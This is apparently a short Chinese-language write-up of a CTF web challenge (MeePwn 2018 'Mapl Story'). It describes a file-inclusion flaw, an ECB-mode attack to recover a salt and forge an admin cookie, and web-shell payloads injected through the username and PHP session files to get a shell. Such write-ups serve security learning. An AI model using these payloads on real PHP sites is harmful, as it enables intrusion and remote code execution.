Meepwn2018:Mapl Story——$_Cookie&&$_SESSION&&Include&&DES

不畏将来,不念过往。如此,安好!

Someone famous 丰子恺

index.php 入口点文件包含

if(isset($_GET['page']) && !empty($_GET['page']))
{
include($_GET['page']);
}

function bad_word() 过滤

$tood_bad = "/(\/\/|\(.+\)|`.+`)/is";

过滤了// , () , ``

$value = preg_replace($too_bad, str_repeat("*",3) ,$value);


// 一上为绕过点;


整体思路在于文件包含

写文件在于charater.php

身份验证 

Cookie=DEC('admin'.$satly);

AES 下的ECB 即分组加密:

$secure_email=encryptData($row['userEmail'],$salt,$key);
$_SESSION['user'] = $secure_email;

userEmail    我们的可控点。通过包含 /var/lib/php/sessions/sess_PHPSESSID,可以知道$secure

原理流程如下:

可控字符 :"mapledd"   -->  " mapledd+"secretkey" ---> 分组 “mapledds”+“ecretkey”  ---> Ek("mapledds")+Ek("ecretkey")  --->  密文;

通过添加一位字符,再进行加密 : "mapledd_"  与加密字符碰撞,相等时则  _=s

按一上流程 得出余下字符 得到 $salty;

Set-Cookie : _role = hash("admin".$salty);

设置成Admin,下面又两个点,一个写文件操作和一个把我们的用户名写入$_SESSION 操作;

流程

法1: 用session 包含 commn.txt

用户名写 <?=include $_Cookie['a']/* 
a=php://filter/convert.base64-decode/resource=upload/ac8d37347a056bad2a852e4ef40de
commn 写入
<?= `$_GET[1]`>

Getshell

法二:拼接$_SESSION 写 shell 进 Commn ,直接包含 Commn getshell

法二没有利用,系统自带的写功能,可能写入20个字符,并又过滤,法一利用的filter 很好的解决了这一问题


学习点:

1.ECB 的模式下的密码爆破
2./var/lib/php/sessions/sess_PHPSESSID   session文件利用



标签 CTF

注意!

Warning! PWNNNNNNNNNNNNNNNN 关注一下!